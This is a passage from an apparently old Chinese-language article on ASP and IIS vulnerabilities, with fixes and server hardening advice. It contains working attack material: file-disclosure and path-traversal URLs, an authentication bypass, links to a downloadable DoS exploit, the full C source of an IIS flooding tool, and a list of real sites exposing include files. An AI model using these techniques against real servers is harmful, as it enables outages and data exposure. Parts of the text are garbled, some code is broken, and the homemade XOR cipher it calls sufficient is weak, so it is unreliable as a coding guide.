/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [这个文件通常受loopback限制]
2)您的系统中不存在.htw文件调用一个webhits.dll ISAPI程序需要通过.htw文件来完成,如果您的系统中不存在.htw文件,虽然请求一个不存在的.htw文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件。但我们需要通过制作一个的特殊的URL来完寐┒吹睦?谩J紫任颐切枰?桓鲇行У奈募?试?这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被webhits.dll打开。现在我们需要获得inetinfo.exe来利用webhits.dll,唯一可以做到这点的便是请求一个.htw文件:
http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw前面]加上一串特殊的数字(%20s),[就是在例子中default.htm后面加上这个代表空格的特殊数字],这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉[由于%20s这个符号],所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。
问题解决和建议:微软已经对该问题发放了补丁:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
15绕过验证直接进入ASP页面。
漏洞描述:如果用户知道了一个ASP页面的路径和文件名,而这个文件又是要经过验证才能进去的,但是用户直接输入这个ASP页面的文件名,就有可能通过绕过验证.比如:我在一些网站上这样试过:首先关闭所有的浏览器,窗口,输入:
http://someurl/system_search.asp?page=1就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断,比如:判断session("system_name"),如果不为空时就能进入,这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞,如果攻击者先用一个合法的帐号,或者在本机上生成一个session,如session("system_name")="admi",那因为session("system_name")不为空,这样也能直接进入绕过密码,直接进入管理员页面。
解决方法:在需要验证的ASP页面开头处进行相应的处理。比如:可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。
16、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击
漏洞描述:
当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web服务器的响应速度,或许会使其暂时停止响应。
受影响的版本:
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞测试程序如下:
http://202.96.168.51/download/exploits/iisdos.exe
  源代码如下:
http://202.96.168.51/download/exploits/iisdos.zip
  测试程序:
  只要打入:iisdos<***.***.**.**>就能攻击对方web服务器
 问题解决:
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
  更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
  相关连接
http://www.ussrback.com
17 IIS web server DOS
漏洞描述:默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer"的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer"这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS server实行DOS攻击:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Wont exit correctly and a
lot
of other fun things.
//That I didnt want to take the time to do. So just ctrl+c out of
the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, A, strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
wh (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of As
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案
运行Regedt32.exe在:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters增加一个值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制具体数值设置为你想设定的IIS允许接受的URL最大长度。
CNNS的设置为256
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏 洞 描 述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we DO close t connection
%>
在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。
19、ASP主页.inc文件泄露问题
漏洞描述:
受影响的版本:任何提供ASP服务的系统远程:YES / 本地:YES
内容摘要:当存在asp的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ," 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码,其中可能会有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑
解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替.inc 文件使用户无法从浏览器直接观看文件的源代码。.inc文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。
20、利用Activer server explorer可对文件进行读写访问
漏洞描述:
chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。
Activer server explorer要求填写相对路径或者绝对路径,但是假如:有一个攻击者把Activer server explorer上传到目标服务器上的某个目录,并且这个目录支持ASP的话,那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器,把Activer server explorer先传上你申请的免费主页空间,再通过各种方法得到目标服务器的路径,(比如可通过漏洞:"请求不存在的扩展名为idq或ida文件,会暴露文件在服务器上的物理地址.").或者直接在相对路径上填".",一般是默认。这样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。
所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
漏洞解决方法
其实Activer server explorer就是利用了上面讲的漏洞 4 filesystemobject 组件篡改下载 fat分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢?一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方法如下:
在MS-DOS状态下面键入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在实际操作的时候要更改成为你本地的实际路径)但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能两全其美呢?
我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如 某晌?
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
21 IIS4.0/IIS5.0超长文件名请求存在漏洞
漏洞描述:
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
当在一个已知的文件名后加230个"%20"再加个.htr,会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如:
http://target/filename%20<重复230次>.htr
这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存,才能起作用。
解决方法:
安装补丁:
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe
22 ASP编辑器会自动备份asp文件,会被下载的漏洞
漏洞描述:
在有些编辑asp程序的工具,当创建或者修改一个asp文件时,编辑器自动创建一个备份文件,比如:UltraEdit就会备份一个..bak文件,如你创建或者修改了some.asp,编辑器自动生成一个叫some.asp.bak文件,如果你没有删除这个bak文件,攻击有可以直接下载some.asp.bak文件,这样some.asp的源程序就会给下载。
六 ASP安全建议
如何设置才能使ASP更加安全呢?以下我们重点来谈谈ASP安全方面要注意的问题。我们在第五部分"ASP漏洞和解决方法"中针对某些漏洞,也提出了相应的安全建议,这部分就不再重复。
在这部分的后面还要介绍些可扫描ASP漏洞的工具。
1 安装NT最新的补丁
目前最新的补丁是NT Option Pack 6.0.,微软的主页有最新的补丁。一般来说微软都会及时的公布最新的漏洞和补丁。目前IIS最新是5.0。windows2000自带IIS5.0.
IIS 5.0新功能如下:
安全性上:包括摘要式验证、整合的Windows验证、SGC (Server-Gated Cryptography )、Microsoft Certificate Services 2.0、集区处理程序之程序保护等。
管理上:包括IIS重新激活、站台CPU使用时间的限制、CPU资源使用记录、使用终端机服务远程管理IIS、自订错误讯息等。
Internet标准上:包括WebDAV(Web Distributed Authoring and Versioning)、FTP重新激活、HTTP压缩等。
Active Server Pages:包括新的转向方法(Server.Transfer与Server.Execute方法)、新的错误处理功能(Server.GetLastError方法)、无指令.asp的执行速度增快、可安装组件的效能调升、Scriptlet支持、使用cookie取得浏览器信息、自动增减执行绪(executing threads)、SRC服务器端包含功能、Script Encoder编码保护等。
更具体的功能介绍请参见其它资料。
2 关闭没有用的服务和协议
"尽量少开没用到的服务",这永远是网络安全的准则。如果开启了某个服务,你就要面对不少的漏洞困扰,更重要的是你还要时时提防未来的由这个服务所引起的漏洞。比如,你不使用ftp,那就把FTP关了,不然你就要发费大量的精力和金钱去应付那些什么DOS,缓冲区溢出之类的漏洞。NETBIOS也是windows的一大安全隐患,我想目前服务器很少需要Netbios。再如你的IIS安装了index server 服务,那你至少要面对三个以上的有关这个服务的漏洞,因此如果你没用到INDEX SERVER服务,也大可删除他同样的道理,我们要安装最少的协议。千万不要安装点对点通道通讯协议。此外,还必须小心地配置TCP/IP协议。在TCP/IP的属性页中选择"IP地址"项目,然后选择"高级"。在弹出来的对话框中选择"安全机制",这样你可以禁止UDP,然后开启IP端口6和TCP端口80。当然开不开这些端口主强茨愕那榭隽恕?br>   IIS中的应用程序映射也是个很大的安全漏洞,请在IIS中设置好扩展名和可执行路径,删除没用的扩展名。
3 设置好你的NT
NT缺省安装时,系统账号Administrator和Guest被自动设置,很多攻击者就是利用这些账号来猜密码,从而进入你的系统。虽然没有足够的耐心,很难猜中这些密码,但是为了安全起见,建议把这些账号重新命名或者删除。NT SERVER的系统策略编辑器非常有用。按"管理工具"->"系统策略编辑器"就可以进入,然后选择"文件"->"打开注册表",并选择"本地计算机"图标,就可以认真配置了。主要设置以下几项:
1. 取消:网络->系统规则更新->远程更新
2. 取消:WINDOWS NT网络->共享->创建隐藏的驱动器共享
3. 设置:Windows NT远程访问下面的各项
4. 设置:Windows NT系统->登录中各个项目。包括设置登录标记;不允许从"身份验证对话框"关机;不显示上次登录的用户名.
5. 设置:WINDOWS NT系统->文件系统中的"不为长文件名创建8.3文件名"
不要使用远程管理软件,除非不得已。由于NT不太支持远程管理,所以你可能会安装Reachout或者PC anywhere来管理。可是,当你安装了这些软件,你就不得不开启TCP/IP的所有端口。在你离开服务器的时候,请按"Ctrl+del+alt",并选择"锁定工作站"。
4 磁盘文件格式使用比较安全的NTFS格式。
NTFS 权限是 Web 服务器安全性的基础,它定义了一个或一组用户访问文件和目录的不同级别。当拥有 Windows NT有效帐号的用户试图访问一个有权限限制的文件时,计算机将检查文件的 访问控制表 (ACL)。该表定义了不同用户和用户组所被赋予的权限。例如,Web 服务器上的 Web 应用程序的所有者需要有"更改"权限来查看、更改和删除应用程序的 .asp文件。但是,访问该应用程序的公共用户应仅被授予"只读"权限,以便将其限制为只能查看而不能更改应用程序的 Web 页。
5 对目录设置不同的属性,如:Read、Excute、Script。
您可以通过配置您的 Web 服务器的权限来限制所有用户查看、运行和操作您的ASP 页的方式。不同于 NTFS权限提供的控制特定用户对应用程序文件和目录的访问方式, Web 服务器权限应用于所有用户,并且不区分用户帐号的类型。 对于要运行您的ASP 应用程序的用户,在设置 Web 服务器权限时,必须遵循下列原则:
对包含 .asp 文件的虚拟目录允许"读"或"脚本"权限。
对 .asp 文件和其他包含脚本的文件(如 .htm 文件等)所在的虚目录允许"读"和"脚本"权限。
对包含 .asp 文件和其他需要"执行"权限才能运行的文件(如 .exe 和 .dll 文件等)的虚目录允许"读"和"执行"权限。
6 维护 Global.asa 的安全
为了充分保护 ASP 应用程序,一定要在应用程序的 Global.asa 文件上为适当的用户或用户组设置 NTFS 文件权限。如果Global.asa 包含向浏览器返回信息的命令而您没有保护 Global.asa文件,则信息将被返回给浏览器,即便应用程序的其他文件被保护。
7不要把密码,物理路径直接写在程序中。
很难保证您的ASP程序是否会给人拿到,即使你安装了最新的补丁。为了安全起见,应该把密码和用户名保存在数据库中,使用虚拟路径。
8 在程序中记录用户的详细信息.
这些信息包括用户的浏览器、用户停留的时间,用户IP等。其中记录IP是最有用的。可用下面的语句了解客户端和服务端的信息:
<Table><%for each name in request.servervariables%>
<tr><td><%=name%>:</td>
<td><%=request.servervariables(name)%></td>
</tr>
<%next%></table>
如果我们可以记录了用户的IP,就能通过追捕来查用户的具体地点。当然如果用户通过代理来浏览网页,上面的方法只能看到用户代理的IP,而不能记录用户真实的IP。ASP没有提供查看客户端网卡物理地址(即MAC)的功能。
9 Cookie 安全性
ASP 使用 SessionID cookie 跟踪应用程序访问或会话期间特定的 Web 浏览器的信息。这就是说,带有相应的cookie 的 HTTP 请求被认为是来自同一 Web 浏览器。Web 服务器可以使用 SessionID cookies配置带有用户特定会话信息的 ASP 应用程序。例如,如果您的应用程序是一个允许用户选择和购买 CD 唱盘的联机音乐商店,就可以用SessionID 跟踪用户漫游整个应用程序时的选择。
SessionID 能否被黑客猜中?为了防止计算机黑客猜中 SessionID cookie 并获得对合法用户的会话变量的访问,Web 服务器为每个 SessionID指派一个随机生成号码。每当用户的 Web 浏览器返回一个 SessionID cookie 时,服务器取出 SessionID和被赋予的数字,接着检查是否与存储在服务器上的生成号码一致。若两个号码一致,将允许用户访问会话变量。这一技术的有效性在于被赋予的数字的长度(64唬??顺ざ仁辜扑慊?诳筒轮?SessionID 从而窃取用户的活动会话的可能性几乎为 0。
加密重要的 SessionID Cookie.
截获了用户 sessionID cookie 的计算机黑客可以使用此 cookie 假冒该用户。如果 ASP
应用程序包含私人信息,信用卡或银行帐户号码,拥有窃取的 cookie的计算机黑客就可以在应用程序中开始一个活动会话并获取这些信息。您可以通过对您的 Web 服务器和用户的浏览器间的通讯链路加密来防止SessionID cook ie 被截获。
10使用身份验证机制保护被限制的 ASP 内容
可以要求每个试图访问被限制的 ASP 内容的用户必须要有有效的 Windows NT帐号的用户名和密码。每当用户试图访问被限制的内容时,Web 服务器将进行身份验证,即确认用户身份,以检查用户是否拥有有效的Windows NT 帐号。
Web 服务器支持以下几种身份验证方式:
基本身份验证 提示用户输入用户名和密码。
Windows NT 请求/响应式身份验证,从用户的 Web 浏览器通过加密方式获取用户身份信息。然而,Web 服务器仅当禁止匿名访问或 Windows NT 文件系统的权限限制匿名访问时才验证用户身份。
11 保护元数据库
访问元数据库的 ASP 脚本需要 Web服务器所运行的计算机的管理员权限。在从远程计算机上运行这些脚本时,须经已通过身份验证的连接,如使用 Windows NT请求/响应验证方式进行连接。应该为管理级 .asp 文件创建一个服务器或目录并将其目录安全验证方式设置为 Windows NT请求/响应式身份验证。目前,仅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 请求响应式身份验证。
12 使用 SSL 维护应用程序的安全
SSL (Secure Sockets Layer)协议是由Netscape首先发表的网络资料安全传输协定,其首要目的是在两个通信间提供秘密而可靠的连接。该协议由两层组成,底层是建立在可靠的传输协议(例如:TCP)上的是SSL的记录层,用来封装高层的协议。SSL握手协议准许服务器端与客户端在开始传输数据前,能够通过特定的加密算法相互鉴别。SSL的先进之处在于它是一个独立的应用协议,其它更高层协议能够建立在SSL协议上。
SSL3.0 协议作为 Web 服务器安全特性,提供了一种安全的虚拟透明方式来建立与用户的加密通讯连接。SSL 保证了 Web内容的验证,并能可靠地确认访问被限制的 Web 站点的用户的身份。
通过 SSL,您可以要求试图访问被限制的 ASP应用程序的用户与您的服务器建立一个加密连接;以防用户与应用程序间交换的重要信息被截取。
比如好多基于WEB的ASP论坛都会提供注册用户互相发送信息的服务,这种信息是明文传送的,如果在网吧就很容易给人监听到。如果加了一层SSL认证,就会防止发送信息被监听的可能。
13 客户资格认证
控制对您的 ASP 应用程序访问的一种十分安全的方法是要求用户使用客户资格登录。客户资格是包含用户身份信息的数字身份证,它的作用与传统的诸如护照或驾驶执照等身份证明相同。用户通常从委托的第三方组织获得客户资格,第三方组织在发放资格证之前确认用户的身份信息。(通常,这类组织要求姓名、地址、电话号码及所在组织名称;此类信息的详细程度随给予的身份等级而异。)
每当用户试图登录到需要资格验证的应用程序时,用户的 Web 浏览器会自动向服务器发送用户资格。如果 Web 服务器的 SecureSockets Layer (SSL) 资格映射特性配置正确,那么服务器就可以在许可用户对 ASP 应 绦蚍梦手?岸云渖矸萁?腥啡稀?
作为 ASP应用程序开发人员,您可以编写脚本来检查资格是否存在并读取资格字段。例如,您可以从资格证明中访问用户名字段和公司名字段。Active Server Pages 在 Request 对象的 ClientCertificate 集合中保存资格信息。必须将 Web 服务器配置为接受或需要客户资格,然后才能通过 ASP 处理客户资格;否则,ClientCertificate集合将为空。
14 ASP的加密
由于ASP脚本是采用明文(plaintext)方式来编写的,所以应用开发商辛苦开发出来的ASP应用程序,一旦发布到运行环境中去后,就很难确保这些"源代码"不会被流传出去。这样就产生了如何有效地保护开发出来的ASP脚本源代码的需求。
官方加密程序:从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。安装完毕后,将生成screnc.exe文件,这是一个运行在DOS PROMAPT的命令工具。
运行screnc - l vbscript source.asp destination.asp生成包含密文ASP脚本的新文件destination.asp用记事本打开看凡是"<%和%>"之内的,不管是否注解,都变成不可阅读的密文了,但无法加密中文。
几种ASP源代码保护方法:
1,"脚本最小化"即ASP文件中只编写尽可能少的源代码,实现商业逻辑的脚本部分被封装到一个COM/DCOM组件,并在ASP脚本中创建该组件,进而调用相应的方法(methed)即可。应用开发者动手开发ASP脚本应用之前就可按此思路来开发,或者直接用ASP脚本快速开发出原型系统后,针对需要保护、加密的重要脚本用COM/DCOM组件来重新开发、实现并替换。
2,"脚本加密"即ASP脚本仍直接按源代码方式进行开发,但在发布到运行环境之前将脚本进行加密处理,只要把加密后的密文脚本发布出去。即在ASP.DLL读取脚本这个环节加入密文还原的处理。实现这种思路的方法有两种:一是自行开发一个ISAPI的IIS过滤(filter)块,在ASP.DLL之前勾连(hook)对ASP脚本文件的读取,以便把文件系统读出的密文还原成ASP.DLL可以解释的明文;方法二是直接由ASP.DLL提供对ASP脚本加密处理的支持。微软在新版本的Vbscript.dll
jscript.dll中提供这种成为MS script encode技术的支持。这样,无论是客户端的Vbscript
jscript(包括WSH脚本等),还是服务器端的Vbscript jscript (即ASP脚本)都可以支持加密处理。
MS script encode技术具体的实现思路包括以下两个方面:一是加密过程,通过提供一个实用程序对包含ASP脚本源代码的文本文件进行扫描,找出其标记为<script language = "vbscript.encode">或<script language = "Jscript.encode">;二是还原过程,IE或ASP.DLL等执行脚本时是统一通过Vbscript.dll
jscript.dll来解释执行的,所以它们都能同时地、透明地支持明文和密文的脚本。
总之,如果采用第一种思路,要么 孕性诳?⒐?讨凶裾战?校??纯梢钥悸茄≡褡远??怀?isual basic 编译代码的通用的、实用工具;采取第二种思路的化,要么就自行开发IIS ISAPI过滤模块,要么可以考虑直接采用MS script encode软件。
下面来看看一种ASP可以使用的简单字符加密算法,而不是那些受限制的加密算法。其实,这里介绍的加密算法对于一般的运用来说已经足够解密人麻烦一阵子的了。它的加密基础是最简单的Vernum密码方法,它的基本原理是,需要有一个需要加密的明文和一个随机生成的解密钥匙文件。然后使用这两个文件组合起来生成密文。
  (明文) 组合 (密钥) = 加密后的密文 所以这里介绍的是生成密钥的代码。我们假设我们生成的密钥为512位长的密钥,它已经足够来加密一个文本字符了。代码如下:
KeyGeN.asp文件
<%
******************************
KeyGeN.asp
******************************
Const g_KeyLocation = "C:\key.txt"
Const g_KeyLen = 512
On Error Resume Next
Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation)
if Err <> 0 Then
Response.Write "ERROR GENERATING KEY." & "<P>"
Response.Write Err.Number & "<BR>"
Response.Write Err.Description & "<BR>"
Else
Response.Write "KEY SUCCESSFULLY GENERATED."
End If
Sub WriteKeyToFile(MyKeyString,strFileName)
Dim keyFile, fso
set fso = Server.CreateObject("scripting.FileSystemObject")
set keyFile = fso.CreateTextFile(strFileName, true)
keyFile.WriteLine(MyKeyString)
keyFile.Close
End Sub
Function KeyGeN(iKeyLength)
Dim k, iCount, strMyKey
lowerbound = 35
upperbound = 96
Randomize Initialize random-number generator.
for i = 1 to iKeyLength
s = 255
k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound)
strMyKey = strMyKey & Chr(k) & ""
next
KeyGeN = strMyKey
End Function
%>
在IIS下运行上面的KeyGeN.asp页面。你只需要如此做一次,他将把密钥写入文件c:\key.txt中 (如果你愿意的话,你也可以把这个文件放到另外一个更加安全的地方).然后你可以打开这个key.txt文件,它将包含512个ASCII码在35到96之间的字符.并且由于是随机生成的,所以每个人密钥文件key.txt将是不一样的,下面是一个例子密钥文件:
IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG=I+@5%*+OP:F_=;NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI$;PUOME2+T8ND?W$C(J\,;631M-LD5F%%1TF_&K2A-D-54[2P,#*JU%6`0RF3CMF0(#T07UFZ=>#,+.AW_/+)DIB;2DTIA57TT&-]O/*FM>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<))A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q).KG&0N0);[LJ<OZ6IN?7N4<GTL?(M4S8+3JMK5)HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V
下面再仔细分析一下上面的程序,我们发现其中的lowerbound和upperbound的数值<其实就是你想使用来加密的ASCII字符范围。
下面的代码将介绍如何使用这个密钥来加密和解密一个字符串
Crypt.asp文件
<%
Dim g_Key
Const g_CryptThis = "Now is the time for all good men to come to the
aid of their country."
Const g_KeyLocation = "c:\key.txt"
g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis))
Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>"
Response.Write "<p>KEY VALUE: " & g_Key & "<p>"
Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) &
"<p>"
Response.Write "<p>DECRYPTED CYPHERTEXT: " &
DeCrypt(EnCrypt(g_CryptThis)) & "<p>"
Function EnCrypt(strCryptThis)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strCryptThis)
iKeyChar = Asc(mid(g_Key,i,1))
iStringChar = Asc(mid(strCryptThis,i,1))
*** uncomment below to encrypt with addition,
iCryptChar = iStringChar + iKeyChar
iCryptChar = iKeyChar Xor iStringChar
strEncrypted = strEncrypted & Chr(iCryptChar)
next
EnCrypt = strEncrypted
End Function
Function DeCrypt(strEncrypted)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strEncrypted)
iKeyChar = (Asc(mid(g_Key,i,1)))
iStringChar = Asc(mid(strEncrypted,i,1))
*** uncomment below to decrypt with subtraction
iDeCryptChar = iStringChar - iKeyChar
iDeCryptChar = iKeyChar Xor iStringChar
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function
Function ReadKeyFromFile(strFileName)
Dim keyFile, fso, f
set fso = Server.CreateObject("Scripting.FileSystemObject")
set f = fso.GetFile(strFileName)
set ts = f.OpenAsTextStream(1, -2)
